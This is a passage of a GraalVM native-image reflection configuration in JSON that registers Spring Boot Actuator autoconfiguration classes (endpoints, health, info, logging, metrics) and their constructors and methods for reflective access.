\"name\":\"org.springframework.boot.actuate.autoconfigure.endpoint.EndpointAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"endpointCachingOperationInvokerAdvisor\",\"parameterTypes\":[\"org.springframework.core.env.Environment\"] }, {\"name\":\"endpointOperationParameterMapper\",\"parameterTypes\":[\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.endpoint.condition.ConditionalOnAvailableEndpoint\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.endpoint.condition.OnAvailableEndpointCondition\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.endpoint.expose.EndpointExposure\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.endpoint.expose.IncludeExcludeEndpointFilter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"match\",\"parameterTypes\":[\"org.springframework.boot.actuate.endpoint.ExposableEndpoint\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.endpoint.jackson.JacksonEndpointAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"endpointObjectMapper\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.endpoint.jmx.DefaultEndpointObjectNameFactory\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"getObjectName\",\"parameterTypes\":[\"org.springframework.boot.actuate.endpoint.jmx.ExposableJmxEndpoint\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.endpoint.jmx.JmxEndpointAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\",\"org.springframework.boot.actuate.autoconfigure.endpoint.jmx.JmxEndpointProperties\",\"org.springframework.boot.autoconfigure.jmx.JmxProperties\"] }, {\"name\":\"eagerlyInitializeJmxEndpointExporter\",\"parameterTypes\":[] }, {\"name\":\"endpointObjectNameFactory\",\"parameterTypes\":[\"javax.management.MBeanServer\"] }, {\"name\":\"jmxAnnotationEndpointDiscoverer\",\"parameterTypes\":[\"org.springframework.boot.actuate.endpoint.invoke.ParameterValueMapper\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\"] }, {\"name\":\"jmxIncludeExcludePropertyEndpointFilter\",\"parameterTypes\":[] }, {\"name\":\"jmxMBeanExporter\",\"parameterTypes\":[\"javax.management.MBeanServer\",\"org.springframework.boot.actuate.endpoint.jmx.EndpointObjectNameFactory\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.boot.actuate.endpoint.jmx.JmxEndpointsSupplier\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.endpoint.jmx.JmxEndpointProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getExposure\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.endpoint.jmx.JmxEndpointProperties$Exposure\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getInclude\",\"parameterTypes\":[] }, {\"name\":\"setInclude\",\"parameterTypes\":[\"java.util.Set\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.endpoint.web.CorsEndpointProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.endpoint.web.MappingWebEndpointPathMapper\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"getRootPath\",\"parameterTypes\":[\"org.springframework.boot.actuate.endpoint.EndpointId\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.endpoint.web.ServletEndpointManagementContextConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"servletExposeExcludePropertyEndpointFilter\",\"parameterTypes\":[\"org.springframework.boot.actuate.autoconfigure.endpoint.web.WebEndpointProperties\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.endpoint.web.ServletEndpointManagementContextConfiguration$WebMvcServletEndpointManagementContextConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"servletEndpointRegistrar\",\"parameterTypes\":[\"org.springframework.boot.actuate.autoconfigure.endpoint.web.WebEndpointProperties\",\"org.springframework.boot.actuate.endpoint.web.annotation.ServletEndpointsSupplier\",\"org.springframework.boot.autoconfigure.web.servlet.DispatcherServletPath\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.endpoint.web.WebEndpointAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\",\"org.springframework.boot.actuate.autoconfigure.endpoint.web.WebEndpointProperties\"] }, {\"name\":\"controllerEndpointDiscoverer\",\"parameterTypes\":[\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\"] }, {\"name\":\"controllerExposeExcludePropertyEndpointFilter\",\"parameterTypes\":[] }, {\"name\":\"endpointMediaTypes\",\"parameterTypes\":[] }, {\"name\":\"pathMappedEndpoints\",\"parameterTypes\":[\"java.util.Collection\"] }, {\"name\":\"webEndpointDiscoverer\",\"parameterTypes\":[\"org.springframework.boot.actuate.endpoint.invoke.ParameterValueMapper\",\"org.springframework.boot.actuate.endpoint.web.EndpointMediaTypes\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\"] }, {\"name\":\"webEndpointPathMapper\",\"parameterTypes\":[] }, {\"name\":\"webExposeExcludePropertyEndpointFilter\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.endpoint.web.WebEndpointAutoConfiguration$WebEndpointServletConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"servletEndpointDiscoverer\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.endpoint.web.WebEndpointProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getExposure\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.endpoint.web.WebEndpointProperties$Discovery\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.endpoint.web.WebEndpointProperties$Exposure\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getInclude\",\"parameterTypes\":[] }, {\"name\":\"setInclude\",\"parameterTypes\":[\"java.util.Set\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.endpoint.web.servlet.WebMvcEndpointManagementContextConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"controllerEndpointHandlerMapping\",\"parameterTypes\":[\"org.springframework.boot.actuate.endpoint.web.annotation.ControllerEndpointsSupplier\",\"org.springframework.boot.actuate.autoconfigure.endpoint.web.CorsEndpointProperties\",\"org.springframework.boot.actuate.autoconfigure.endpoint.web.WebEndpointProperties\"] }, {\"name\":\"endpointObjectMapperWebMvcConfigurer\",\"parameterTypes\":[\"org.springframework.boot.actuate.endpoint.jackson.EndpointObjectMapper\"] }, {\"name\":\"webEndpointServletHandlerMapping\",\"parameterTypes\":[\"org.springframework.boot.actuate.endpoint.web.WebEndpointsSupplier\",\"org.springframework.boot.actuate.endpoint.web.annotation.ServletEndpointsSupplier\",\"org.springframework.boot.actuate.endpoint.web.annotation.ControllerEndpointsSupplier\",\"org.springframework.boot.actuate.endpoint.web.EndpointMediaTypes\",\"org.springframework.boot.actuate.autoconfigure.endpoint.web.CorsEndpointProperties\",\"org.springframework.boot.actuate.autoconfigure.endpoint.web.WebEndpointProperties\",\"org.springframework.core.env.Environment\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.endpoint.web.servlet.WebMvcEndpointManagementContextConfiguration$EndpointObjectMapperWebMvcConfigurer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"configureMessageConverters\",\"parameterTypes\":[\"java.util.List\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.env.EnvironmentEndpointAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"environmentEndpoint\",\"parameterTypes\":[\"org.springframework.core.env.Environment\",\"org.springframework.boot.actuate.autoconfigure.env.EnvironmentEndpointProperties\",\"org.springframework.beans.factory.ObjectProvider\"] }, {\"name\":\"environmentEndpointWebExtension\",\"parameterTypes\":[\"org.springframework.boot.actuate.env.EnvironmentEndpoint\",\"org.springframework.boot.actuate.autoconfigure.env.EnvironmentEndpointProperties\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.env.EnvironmentEndpointProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.health.AutoConfiguredHealthContributorRegistry\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"registerContributor\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Object\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.health.AutoConfiguredHealthEndpointGroups\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"get\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"getNames\",\"parameterTypes\":[] }, {\"name\":\"getPrimary\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.health.ConditionalOnEnabledHealthIndicator\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.health.HealthContributorAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"pingHealthContributor\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.health.HealthEndpointAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.health.HealthEndpointConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"healthContributorRegistry\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\",\"org.springframework.boot.actuate.health.HealthEndpointGroups\",\"java.util.Map\",\"java.util.Map\"] }, {\"name\":\"healthEndpoint\",\"parameterTypes\":[\"org.springframework.boot.actuate.health.HealthContributorRegistry\",\"org.springframework.boot.actuate.health.HealthEndpointGroups\",\"org.springframework.boot.actuate.autoconfigure.health.HealthEndpointProperties\"] }, {\"name\":\"healthEndpointGroupMembershipValidator\",\"parameterTypes\":[\"org.springframework.boot.actuate.autoconfigure.health.HealthEndpointProperties\",\"org.springframework.boot.actuate.health.HealthContributorRegistry\"] }, {\"name\":\"healthEndpointGroups\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\",\"org.springframework.boot.actuate.autoconfigure.health.HealthEndpointProperties\"] }, {\"name\":\"healthEndpointGroupsBeanPostProcessor\",\"parameterTypes\":[\"org.springframework.beans.factory.ObjectProvider\"] }, {\"name\":\"healthHttpCodeStatusMapper\",\"parameterTypes\":[\"org.springframework.boot.actuate.autoconfigure.health.HealthEndpointProperties\"] }, {\"name\":\"healthStatusAggregator\",\"parameterTypes\":[\"org.springframework.boot.actuate.autoconfigure.health.HealthEndpointProperties\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.health.HealthEndpointConfiguration$HealthEndpointGroupMembershipValidator\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"afterSingletonsInstantiated\",\"parameterTypes\":[] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.health.HealthEndpointConfiguration$HealthEndpointGroupsBeanPostProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"postProcessAfterInitialization\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.String\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.health.HealthEndpointProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getShowDetails\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.health.HealthEndpointProperties$Group\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.health.HealthEndpointProperties$Logging\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.health.HealthEndpointReactiveWebExtensionConfiguration\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.health.HealthEndpointWebExtensionConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"healthEndpointWebExtension\",\"parameterTypes\":[\"org.springframework.boot.actuate.health.HealthContributorRegistry\",\"org.springframework.boot.actuate.health.HealthEndpointGroups\",\"org.springframework.boot.actuate.autoconfigure.health.HealthEndpointProperties\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.health.HealthEndpointWebExtensionConfiguration$MvcAdditionalHealthEndpointPathsConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"healthEndpointWebMvcHandlerMapping\",\"parameterTypes\":[\"org.springframework.boot.actuate.endpoint.web.WebEndpointsSupplier\",\"org.springframework.boot.actuate.health.HealthEndpointGroups\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.health.HealthProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"getRoles\",\"parameterTypes\":[] }, {\"name\":\"getShowComponents\",\"parameterTypes\":[] }, {\"name\":\"getStatus\",\"parameterTypes\":[] }, {\"name\":\"setRoles\",\"parameterTypes\":[\"java.util.Set\"] }, {\"name\":\"setShowComponents\",\"parameterTypes\":[\"org.springframework.boot.actuate.endpoint.Show\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.health.HealthProperties$Status\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.health.NoSuchHealthContributorFailureAnalyzer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.health.OnEnabledHealthIndicatorCondition\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.health.ReactiveHealthEndpointConfiguration\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.info.ConditionalOnEnabledInfoContributor\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.info.InfoContributorAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.info.InfoContributorFallback\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.info.InfoContributorProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.info.InfoContributorProperties$Git\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.info.InfoEndpointAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"infoEndpoint\",\"parameterTypes\":[\"org.springframework.beans.factory.ObjectProvider\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.info.OnEnabledInfoContributorCondition\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.jdbc.DataSourceHealthContributorAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.beans.factory.ObjectProvider\"] }, {\"name\":\"afterPropertiesSet\",\"parameterTypes\":[] }, {\"name\":\"dbHealthContributor\",\"parameterTypes\":[\"java.util.Map\",\"org.springframework.boot.actuate.autoconfigure.jdbc.DataSourceHealthIndicatorProperties\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.jdbc.DataSourceHealthIndicatorProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.logging.LogFileWebEndpointAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.logging.LogFileWebEndpointAutoConfiguration$LogFileCondition\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.logging.LogFileWebEndpointProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.logging.LoggersEndpointAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"loggersEndpoint\",\"parameterTypes\":[\"org.springframework.boot.logging.LoggingSystem\",\"org.springframework.beans.factory.ObjectProvider\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.logging.LoggersEndpointAutoConfiguration$OnEnabledLoggingSystemCondition\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.management.HeapDumpWebEndpointAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"heapDumpWebEndpoint\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.management.ThreadDumpEndpointAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"dumpEndpoint\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.AutoTimeProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.CompositeMeterRegistryAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.CompositeMeterRegistryConfiguration\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.CompositeMeterRegistryConfiguration$MultipleNonPrimaryMeterRegistriesCondition\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.JvmMetricsAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"classLoaderMetrics\",\"parameterTypes\":[] }, {\"name\":\"jvmCompilationMetrics\",\"parameterTypes\":[] }, {\"name\":\"jvmGcMetrics\",\"parameterTypes\":[] }, {\"name\":\"jvmHeapPressureMetrics\",\"parameterTypes\":[] }, {\"name\":\"jvmInfoMetrics\",\"parameterTypes\":[] }, {\"name\":\"jvmMemoryMetrics\",\"parameterTypes\":[] }, {\"name\":\"jvmThreadMetrics\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.LogbackMetricsAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"logbackMetrics\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.LogbackMetricsAutoConfiguration$LogbackLoggingCondition\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.MeterRegistryCustomizer\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.MeterRegistryPostProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"afterSingletonsInstantiated\",\"parameterTypes\":[] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"postProcessAfterInitialization\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.String\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.MetricsAspectsAutoConfiguration$ObservationAnnotationsEnabledCondition\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.MetricsAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"meterRegistryCloser\",\"parameterTypes\":[\"org.springframework.beans.factory.ObjectProvider\"] }, {\"name\":\"meterRegistryPostProcessor\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\"] }, {\"name\":\"micrometerClock\",\"parameterTypes\":[] }, {\"name\":\"propertiesMeterFilter\",\"parameterTypes\":[\"org.springframework.boot.actuate.autoconfigure.metrics.MetricsProperties\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.MetricsAutoConfiguration$MeterRegistryCloser\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"onApplicationEvent\",\"parameterTypes\":[\"org.springframework.context.ApplicationEvent\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.MetricsEndpointAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"metricsEndpoint\",\"parameterTypes\":[\"io.micrometer.core.instrument.MeterRegistry\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.MetricsProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.MetricsProperties$Data\",\n  